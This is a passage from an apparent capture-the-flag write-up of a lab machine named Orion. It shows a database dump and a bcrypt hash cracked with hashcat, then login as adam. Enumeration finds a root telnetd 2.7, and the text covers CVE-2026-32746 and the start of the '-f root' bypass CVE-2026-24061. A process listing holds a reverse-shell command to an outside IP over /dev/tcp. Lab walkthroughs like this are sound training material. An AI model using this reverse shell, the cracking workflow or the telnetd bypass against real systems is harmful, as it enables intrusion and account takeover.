MariaDB [orion]> describe users;       
+----------------------------+---------------------+------+-----+---------+-------+
| Field                      | Type                | Null | Key | Default | Extra |
+----------------------------+---------------------+------+-----+---------+-------+
| id                         | int(11)             | NO   | PRI | NULL    |       |
| photoId                    | int(11)             | YES  | MUL | NULL    |       |
| affiliatedSiteId           | int(11)             | YES  | MUL | NULL    |       |
| active                     | tinyint(1)          | NO   | MUL | 0       |       |
| pending                    | tinyint(1)          | NO   | MUL | 0       |       |
| locked                     | tinyint(1)          | NO   | MUL | 0       |       |
| suspended                  | tinyint(1)          | NO   | MUL | 0       |       |
| admin                      | tinyint(1)          | NO   |     | 0       |       |
| username                   | varchar(255)        | YES  | MUL | NULL    |       |
| fullName                   | varchar(255)        | YES  |     | NULL    |       |
| firstName                  | varchar(255)        | YES  |     | NULL    |       |
| lastName                   | varchar(255)        | YES  |     | NULL    |       |
| email                      | varchar(255)        | YES  | MUL | NULL    |       |
| password                   | varchar(255)        | YES  |     | NULL    |       |
| lastLoginDate              | datetime            | YES  |     | NULL    |       |
| lastLoginAttemptIp         | varchar(45)         | YES  |     | NULL    |       |
| invalidLoginWindowStart    | datetime            | YES  |     | NULL    |       |
| invalidLoginCount          | tinyint(3) unsigned | YES  |     | NULL    |       |
| lastInvalidLoginDate       | datetime            | YES  |     | NULL    |       |
| lockoutDate                | datetime            | YES  |     | NULL    |       |
| hasDashboard               | tinyint(1)          | NO   |     | 0       |       |
| verificationCode           | varchar(255)        | YES  | MUL | NULL    |       |
| verificationCodeIssuedDate | datetime            | YES  |     | NULL    |       |
| unverifiedEmail            | varchar(255)        | YES  |     | NULL    |       |
| passwordResetRequired      | tinyint(1)          | NO   |     | 0       |       |
| lastPasswordChangeDate     | datetime            | YES  |     | NULL    |       |
| dateCreated                | datetime            | NO   |     | NULL    |       |
| dateUpdated                | datetime            | NO   |     | NULL    |       |
+----------------------------+---------------------+------+-----+---------+-------+
28 rows in set (0.001 sec)

There’s one user, and it’s adam:

MariaDB [orion]> select id,admin,username,email,password from users;            
+----+-------+----------+----------------+--------------------------------------------------------------+
| id | admin | username | email          | password                                                     |
+----+-------+----------+----------------+--------------------------------------------------------------+
|  1 |     1 | admin    | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS |
+----+-------+----------+----------------+--------------------------------------------------------------+
1 row in set (0.000 sec)

Shell

Crack Hash

I’ll save that hash to a file, and pass it to hashcat:

$ cat adam.hash 
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS
$ hashcat adam.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
The following 6 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
  25600 | bcrypt(md5($pass))                                         | Generic KDF
  25800 | bcrypt(sha1($pass))                                        | Generic KDF
  30600 | bcrypt(sha256($pass))                                      | Generic KDF
  28400 | bcrypt(sha512($pass))                                      | Generic KDF
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  33800 | WBB4 (Woltlab Burning Board) [bcrypt(bcrypt($pass))]       | Forums, CMS, E-Commerce

Please specify the hash-mode with -m [hash-mode].
...[snip]...

It’s a bcrypt hash, but it’s not clear which format. Whenever I see this, the first to try is 3200 unless I have reason to think otherwise.

bcrypt is very slow to crack, so if it is meant to be cracked, it will be something toward the top of rockyou.txt. It does crack in 20 seconds on my host:

$ hashcat adam.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt -m 3200
hashcat (v7.1.2) starting
...[snip]...
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel
...[snip]...
Started: Thu Jul  9 06:03:38 2026
Stopped: Thu Jul  9 06:03:58 2026

su / SSH

The password works with su to switch to adam:

www-data@orion:/$ su - adam
Password: 
adam@orion:~$

It also works over SSH:

oxdf@hacky$ sshpass -p darkangel ssh adam@orion.htb
Warning: Permanently added 'orion.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)
...[snip]...
adam@orion:~$ 

Either way I’ll grab user.txt:

adam@orion:~$ cat user.txt
8d793fb9************************

Shell as root

Enumeration

Users

There’s nothing too interesting in adam’s home directory:

adam@orion:~$ ls -la
total 40
drwxr-x--- 5 adam adam 4096 May 12 08:15 .
drwxr-xr-x 3 root root 4096 May 12 08:15 ..
lrwxrwxrwx 1 root root    9 May  7 12:28 .bash_history -> /dev/null
-rw-r--r-- 1 adam adam  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 adam adam 3771 Jan  6  2022 .bashrc
drwx------ 3 adam adam 4096 May 12 08:15 .cache
drwxrwxr-x 3 adam adam 4096 May 12 08:15 .config
drwxrwxr-x 3 adam adam 4096 May 12 08:15 .local
-rw-r--r-- 1 adam adam  807 Jan  6  2022 .profile
-rw-r----- 1 root adam   33 Jul  8 21:24 user.txt
-rw-rw-r-- 1 adam adam  166 Mar  6 13:34 .wget-hsts

adam cannot run sudo:

adam@orion:~$ sudo -l
[sudo] password for adam: 
Sorry, user adam may not run sudo on orion.

Processes

I can enumerate processes as adam or www-data. I’ll dump a full process list:

www-data@orion:~$ ps auxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.2 166376 11696 ?        Ss   Jul08   0:05 /sbin/init
root           2  0.0  0.0      0     0 ?        S    Jul08   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   Jul08   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   Jul08   0:00 [rcu_par_gp]
root           5  0.0  0.0      0     0 ?        I<   Jul08   0:00 [slub_flushwq]
root           6  0.0  0.0      0     0 ?        I<   Jul08   0:00 [netns]
root           8  0.0  0.0      0     0 ?        I<   Jul08   0:00 [kworker/0:0H-events_highpri]
root          10  0.0  0.0      0     0 ?        I<   Jul08   0:00 [mm_percpu_wq]
root          11  0.0  0.0      0     0 ?        S    Jul08   0:00 [rcu_tasks_rude_]
root          12  0.0  0.0      0     0 ?        S    Jul08   0:00 [rcu_tasks_trace]
root          13  0.0  0.0      0     0 ?        S    Jul08   0:00 [ksoftirqd/0]
root          14  0.0  0.0      0     0 ?        I    Jul08   0:11 [rcu_sched]
root          15  0.0  0.0      0     0 ?        S    Jul08   0:00 [migration/0]
root          16  0.0  0.0      0     0 ?        S    Jul08   0:00 [idle_inject/0]
root          18  0.0  0.0      0     0 ?        S    Jul08   0:00 [cpuhp/0]
root          19  0.0  0.0      0     0 ?        S    Jul08   0:00 [cpuhp/1]
root          20  0.0  0.0      0     0 ?        S    Jul08   0:00 [idle_inject/1]
root          21  0.0  0.0      0     0 ?        S    Jul08   0:00 [migration/1]
root          22  0.0  0.0      0     0 ?        S    Jul08   0:03 [ksoftirqd/1]
root          24  0.0  0.0      0     0 ?        I<   Jul08   0:00 [kworker/1:0H-events_highpri]
root          25  0.0  0.0      0     0 ?        S    Jul08   0:00 [kdevtmpfs]
root          26  0.0  0.0      0     0 ?        I<   Jul08   0:00 [inet_frag_wq]
root          27  0.0  0.0      0     0 ?        S    Jul08   0:04 [kauditd]
root          28  0.0  0.0      0     0 ?        S    Jul08   0:00 [khungtaskd]
root          29  0.0  0.0      0     0 ?        S    Jul08   0:00 [oom_reaper]
root          30  0.0  0.0      0     0 ?        I<   Jul08   0:00 [writeback]
root          31  0.0  0.0      0     0 ?        S    Jul08   0:01 [kcompactd0]
root          32  0.0  0.0      0     0 ?        SN   Jul08   0:00 [ksmd]
root          33  0.0  0.0      0     0 ?        SN   Jul08   0:00 [khugepaged]
root          80  0.0  0.0      0     0 ?        I<   Jul08   0:00 [kintegrityd]
root          81  0.0  0.0      0     0 ?        I<   Jul08   0:00 [kblockd]
root          82  0.0  0.0      0     0 ?        I<   Jul08   0:00 [blkcg_punt_bio]
root          83  0.0  0.0      0     0 ?        I<   Jul08   0:00 [tpm_dev_wq]
root          84  0.0  0.0      0     0 ?        I<   Jul08   0:00 [ata_sff]
root          85  0.0  0.0      0     0 ?        I<   Jul08   0:00 [md]
root          86  0.0  0.0      0     0 ?        I<   Jul08   0:00 [edac-poller]
root          87  0.0  0.0      0     0 ?        I<   Jul08   0:00 [devfreq_wq]
root          88  0.0  0.0      0     0 ?        S    Jul08   0:00 [watchdogd]
root          90  0.0  0.0      0     0 ?        I<   Jul08   0:01 [kworker/1:1H-kblockd]
root          92  0.0  0.0      0     0 ?        S    Jul08   0:00 [kswapd0]
root          93  0.0  0.0      0     0 ?        S    Jul08   0:00 [ecryptfs-kthrea]
root          95  0.0  0.0      0     0 ?        I<   Jul08   0:00 [kthrotld]
root          96  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/24-pciehp]
root          97  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/25-pciehp]
root          98  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/26-pciehp]
root          99  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/27-pciehp]
root         100  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/28-pciehp]
root         101  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/29-pciehp]
root         102  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/30-pciehp]
root         103  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/31-pciehp]
root         104  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/32-pciehp]
root         105  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/33-pciehp]
root         106  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/34-pciehp]
root         107  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/35-pciehp]
root         108  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/36-pciehp]
root         109  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/37-pciehp]
root         110  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/38-pciehp]
root         111  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/39-pciehp]
root         112  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/40-pciehp]
root         113  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/41-pciehp]
root         114  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/42-pciehp]
root         115  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/43-pciehp]
root         116  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/44-pciehp]
root         117  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/45-pciehp]
root         118  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/46-pciehp]
root         119  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/47-pciehp]
root         120  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/48-pciehp]
root         121  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/49-pciehp]
root         122  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/50-pciehp]
root         123  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/51-pciehp]
root         124  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/52-pciehp]
root         125  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/53-pciehp]
root         126  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/54-pciehp]
root         127  0.0  0.0      0     0 ?        S    Jul08   0:00 [irq/55-pciehp]
root         128  0.0  0.0      0     0 ?        I<   Jul08   0:00 [acpi_thermal_pm]
root         130  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_0]
root         131  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_0]
root         132  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_1]
root         133  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_1]
root         135  0.0  0.0      0     0 ?        I<   Jul08   0:00 [vfio-irqfd-clea]
root         136  0.0  0.0      0     0 ?        I<   Jul08   0:00 [mld]
root         137  0.0  0.0      0     0 ?        I<   Jul08   0:00 [ipv6_addrconf]
root         147  0.0  0.0      0     0 ?        I<   Jul08   0:00 [kstrp]
root         150  0.0  0.0      0     0 ?        I<   Jul08   0:00 [zswap-shrink]
root         151  0.0  0.0      0     0 ?        I<   Jul08   0:00 [kworker/u5:0]
root         156  0.0  0.0      0     0 ?        I<   Jul08   0:00 [charger_manager]
root         179  0.0  0.0      0     0 ?        I<   Jul08   0:01 [kworker/0:1H-kblockd]
root         203  0.0  0.0      0     0 ?        I<   Jul08   0:00 [mpt_poll_0]
root         204  0.0  0.0      0     0 ?        I<   Jul08   0:00 [mpt/0]
root         206  0.0  0.0      0     0 ?        I<   Jul08   0:00 [cryptd]
root         222  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_2]
root         228  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_2]
root         229  0.0  0.0      0     0 ?        I<   Jul08   0:00 [ttm_swap]
root         231  0.0  0.0      0     0 ?        S    Jul08   0:03 [irq/16-vmwgfx]
root         234  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_3]
root         237  0.0  0.0      0     0 ?        S    Jul08   0:00 [card0-crtc0]
root         239  0.0  0.0      0     0 ?        S    Jul08   0:00 [card0-crtc1]
root         241  0.0  0.0      0     0 ?        S    Jul08   0:00 [card0-crtc2]
root         243  0.0  0.0      0     0 ?        S    Jul08   0:00 [card0-crtc3]
root         245  0.0  0.0      0     0 ?        S    Jul08   0:00 [card0-crtc4]
root         247  0.0  0.0      0     0 ?        S    Jul08   0:00 [card0-crtc5]
root         248  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_3]
root         250  0.0  0.0      0     0 ?        S    Jul08   0:00 [card0-crtc6]
root         252  0.0  0.0      0     0 ?        S    Jul08   0:00 [card0-crtc7]
root         254  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_4]
root         256  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_4]
root         259  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_5]
root         261  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_5]
root         263  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_6]
root         264  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_6]
root         266  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_7]
root         268  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_7]
root         270  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_8]
root         272  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_8]
root         274  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_9]
root         275  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_9]
root         278  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_10]
root         281  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_10]
root         282  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_11]
root         283  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_11]
root         284  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_12]
root         285  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_12]
root         286  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_13]
root         287  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_13]
root         288  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_14]
root         289  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_14]
root         290  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_15]
root         291  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_15]
root         292  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_16]
root         293  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_16]
root         294  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_17]
root         295  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_17]
root         296  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_18]
root         297  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_18]
root         298  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_19]
root         299  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_19]
root         300  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_20]
root         301  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_20]
root         302  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_21]
root         303  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_21]
root         304  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_22]
root         305  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_22]
root         306  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_23]
root         307  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_23]
root         308  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_24]
root         309  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_24]
root         310  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_25]
root         311  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_25]
root         312  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_26]
root         313  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_26]
root         314  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_27]
root         315  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_27]
root         316  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_28]
root         317  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_28]
root         318  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_29]
root         319  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_29]
root         320  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_30]
root         321  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_30]
root         322  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_31]
root         323  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_31]
root         351  0.0  0.0      0     0 ?        S    Jul08   0:00 [scsi_eh_32]
root         352  0.0  0.0      0     0 ?        I<   Jul08   0:00 [scsi_tmf_32]
root         382  0.0  0.0      0     0 ?        I<   Jul08   0:00 [raid5wq]
root         437  0.0  0.0      0     0 ?        S    Jul08   0:03 [jbd2/sda2-8]
root         438  0.0  0.0      0     0 ?        I<   Jul08   0:00 [ext4-rsv-conver]
root         496  0.0  3.3 210068 132280 ?       S<s  Jul08   0:31 /lib/systemd/systemd-journald
root         526  0.0  0.0      0     0 ?        I<   Jul08   0:00 [kaluad]
root         527  0.0  0.0      0     0 ?        I<   Jul08   0:00 [kmpath_rdacd]
root         529  0.0  0.0      0     0 ?        I<   Jul08   0:00 [kmpathd]
root         531  0.0  0.0      0     0 ?        I<   Jul08   0:00 [kmpath_handlerd]
root         532  0.0  0.6 354912 27124 ?        SLsl Jul08   0:04 /sbin/multipathd -d -s
root         535  0.0  0.1  26600  7420 ?        Ss   Jul08   0:00 /lib/systemd/systemd-udevd
systemd+     592  0.0  0.1  89388  6544 ?        Ssl  Jul08   0:03 /lib/systemd/systemd-timesyncd
root         593  0.0  0.0  85268  2576 ?        S<sl Jul08   0:24 /sbin/auditd
_laurel      595  0.0  0.1  10588  6812 ?        S<   Jul08   0:17 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root         617  0.0  0.0      0     0 ?        S    Jul08   0:00 [audit_prune_tre]
root         659  0.0  0.2  51168 11724 ?        Ss   Jul08   0:00 /usr/bin/VGAuthService
root         660  0.1  0.2 316084 10156 ?        Ssl  Jul08   0:57 /usr/bin/vmtoolsd
root         716  0.0  0.1 101244  6064 ?        Ssl  Jul08   0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
systemd+     846  0.0  0.3  26900 14556 ?        Ss   Jul08   0:05 /lib/systemd/systemd-resolved
root         946  0.0  0.0   6920  2868 ?        Ss   Jul08   0:00 /usr/sbin/cron -f -P
message+     947  0.0  0.1   8820  4908 ?        Ss   Jul08   0:02 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         955  0.0  0.0  82844  3976 ?        Ssl  Jul08   0:02 /usr/sbin/irqbalance --foreground
root         957  0.0  0.4  32764 19256 ?        Ss   Jul08   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         960  0.0  0.8 254696 35376 ?        Ss   Jul08   0:04 php-fpm: master process (/etc/php/8.2/fpm/php-fpm.conf)
root         961  0.0  0.9 325084 37424 ?        Ss   Jul08   0:04 php-fpm: master process (/etc/php/8.4/fpm/php-fpm.conf)
root         963  0.0  0.1 234544  6636 ?        Ssl  Jul08   0:00 /usr/libexec/polkitd --no-debug
syslog       964  0.0  0.1 222404  5832 ?        Ssl  Jul08   0:00 /usr/sbin/rsyslogd -n -iNONE
root         967  0.0  0.8 1326560 35692 ?       Ssl  Jul08   0:03 /usr/lib/snapd/snapd
root         969  0.0  0.1  15572  7552 ?        Ss   Jul08   0:01 /lib/systemd/systemd-logind
root         971  0.0  0.3 392536 12600 ?        Ssl  Jul08   0:00 /usr/libexec/udisks2/udisksd
root         991  0.0  0.0   6176  1076 tty1     Ss+  Jul08   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root        1013  0.0  0.3 318000 12116 ?        Ssl  Jul08   0:00 /usr/sbin/ModemManager
root        1022  0.0  0.0   2836  1880 ?        S    Jul08   0:00 /usr/sbin/inetutils-inetd
root        1029  0.0  0.2  15460  9400 ?        Ss   Jul08   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
mysql       1081  0.1  2.5 1545096 102176 ?      Ssl  Jul08   1:52 /usr/sbin/mariadbd
root        1094  0.0  0.0  82336  2168 ?        Ss   Jul08   0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data    1095  0.0  0.2  85072  9876 ?        S    Jul08   0:31 nginx: worker process
www-data    1097  0.0  0.2  84440  8980 ?        S    Jul08   0:20 nginx: worker process
www-data    1330  0.0  0.3 325564 14104 ?        S    Jul08   0:00 php-fpm: pool www
www-data    1331  0.0  0.3 325564 14104 ?        S    Jul08   0:00 php-fpm: pool www
www-data    2467  0.0  1.4 258708 57316 ?        S    01:35   0:01 php-fpm: pool www
www-data    2469  0.0  1.4 256236 56736 ?        S    01:35   0:01 php-fpm: pool www
www-data    2470  0.0  1.4 255908 56464 ?        S    01:35   0:01 php-fpm: pool www
root        4165  0.0  0.0      0     0 ?        I    08:09   0:07 [kworker/1:0-events]
root        4308  0.0  0.2 239540  8188 ?        Ssl  09:03   0:00 /usr/libexec/upowerd
root        4843  0.0  0.0      0     0 ?        I    11:09   0:00 [kworker/1:1-events]
www-data    4999  0.0  0.0   2892   980 ?        S    11:55   0:00 sh -c bash -c 'bash -i >& /dev/tcp/10.10.15.243/443 0>&1'
www-data    5000  0.0  0.0   4364  3300 ?        S    11:55   0:00 bash -c bash -i >& /dev/tcp/10.10.15.243/443 0>&1
www-data    5001  0.0  0.0   4628  3572 ?        S    11:55   0:00 bash -i
www-data    5003  0.0  0.0   2808  1064 ?        S    11:56   0:00 script /dev/null -c bash
www-data    5004  0.0  0.0   2892   956 pts/0    Ss   11:56   0:00 sh -c bash
www-data    5005  0.0  0.0   4628  3868 pts/0    S    11:56   0:00 bash
root        5013  0.0  0.0      0     0 ?        I    12:04   0:00 [kworker/u4:0-events_unbound]
root        5093  0.0  0.0      0     0 ?        I    12:09   0:00 [kworker/0:1-events]
root        5220  0.0  0.0      0     0 ?        I    12:39   0:00 [kworker/0:0-events]
root        5240  0.0  0.0      0     0 ?        I    12:57   0:00 [kworker/u4:3-writeback]
root        5247  0.0  0.0      0     0 ?        I    13:03   0:00 [kworker/u4:1-events_unbound]
root        5250  0.0  0.1   7664  4388 pts/0    S    13:05   0:00 su - adam
adam        5252  0.0  0.2  17088  9500 ?        Ss   13:05   0:00 /lib/systemd/systemd --user
adam        5253  0.0  0.0 169296  3804 ?        S    13:05   0:00 (sd-pam)
root        5254  0.0  0.0      0     0 ?        I    13:05   0:00 [kworker/1:2-events]
adam        5260  0.0  0.1   8800  5540 pts/0    S+   13:05   0:00 -bash
root        5271  0.0  0.2  17204 10972 ?        Ss   13:06   0:00 sshd: adam [priv]
adam        5353  0.0  0.1  17336  7876 ?        S    13:06   0:00 sshd: adam@pts/1
adam        5356  0.0  0.1   8812  5588 pts/1    Ss   13:06   0:00 -bash
adam        5390  0.0  0.0  10072  1608 pts/1    R+   13:07   0:00 ps auxww

inetutils-inetd is running as root (PID 1022). This is pretty unusual on a modern Ubuntu host.

inetutils-inetd

inetd is the legacy “super-server.” It listens on a set of ports and launches the matching service on demand, reading its config from /etc/inetd.conf. It dates from classic Unix, where it saved memory by not keeping every network daemon resident.

Modern Ubuntu doesn’t ship or run it by default. Since the move to systemd (16.04+), the equivalent job is done by systemd socket activation (.socket units). A stock 22.04 install has no inetd at all.

inetutils-inetd is a specific package (the GNU inetutils implementation) that someone had to explicitly apt install on Orion, meaning its presence here is a deliberate choice.

inetd.conf shows what it is running:

# /etc/inetd.conf: see inetd(8) for further informations.
#
# Internet superserver configuration database.
#
#
# Lines starting with "#:LABEL:" or "#<off>#" should not
# be changed unless you know what you are doing!
#
# If you want to disable an entry so it is not touched during
# package updates just comment it out with a single '#' character.
#
# Packages should modify this file by using update-inetd(8).
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
#:INTERNAL: Internal services
#discard                stream  tcp6    nowait  root    internal
#discard                dgram   udp6    wait    root    internal
#daytime                stream  tcp6    nowait  root    internal
#time           stream  tcp6    nowait  root    internal

#:STANDARD: These are standard services.
127.0.0.1:telnet stream tcp nowait root /usr/local/sbin/telnetd telnetd

#:BSD: Shell, login, exec and talk are BSD protocols.

#:MAIL: Mail, news and uucp services.

#:INFO: Info services

#:BOOT: TFTP service is provided primarily for booting.  Most sites
#       run this only on machines acting as "boot servers."

#:RPC: RPC based services

#:HAM-RADIO: amateur-radio services

#:OTHER: Other services

It’s running telnet on the standard telnet port as root. There is a localhost only listener on port 23:

www-data@orion:$ netstat -tnlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1095/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:23            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      - 

The telnetd version on Orion is 2.7:

www-data@orion:~$ telnetd --version
telnetd (GNU inetutils) 2.7
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by many authors.

CVE Identification

Searching for “telnetd 2.7 cve” returns a bunch of hits on two different CVEs:

image-20260709101327571

There are two CVEs that show up repeatedly, CVE-2026-24061 and CVE-2026-32746. I’ll go into both.

CVE-2026-32746

NIST describes CVE-2026-32746 as:

telnetd in GNU inetutils through 2.7 allows an out-of-bounds write in the LINEMODE SLC (Set Local Characters) suboption handler because add_slc does not check whether the buffer is full.

A 32-Year-Old Bug Walks Into A Telnet Server (GNU inetutils Telnetd CVE-2026-32746 Pre-Auth RCE), a blog post from Watchtowr Labs, dives into great detail about this vulnerability, showing the details of the buffer overflow, concluding with:

Well, we haven’t achieved the coveted RCE, although we’ve discovered a huge amount of probably-not-ideal behavior, such as our nice arbitrary free alongside a pointer leak. We’d love to have spent more time on this vulnerability, analysing more and more builds of Telnetd, but unfortunately, no one lives forever, and we all have other things to do.

I’ll poke at this a little but given the fact that they haven’t found it, finding it seems outside the scope of this easy box. There is a repo with a script that will check vulnerability:

adam@orion:~$ python3 cve-2026-32746.py 
                     __         ___  ___________                   
     __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
     \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
      \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
       \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                  \/          \/     \/                            

        watchtowr-vs-telnetd-CVE-2026-32746.py

        (*) telnetd CVE-2026-32746 Detection Artifact Generator
        
          - McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2026-32746]


[#] Connecting to 127.0.0.1:23
[+] Connected
[+] LINEMODE is supported
[!] telnetd vulnerable

Seems like something that would be fun to play with, but, like the authors of the post, I have other things to do as well.

CVE-2026-24061

Background

NIST describes CVE-2026-24061 as:

telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a “-f root” value for the USER environment variable.

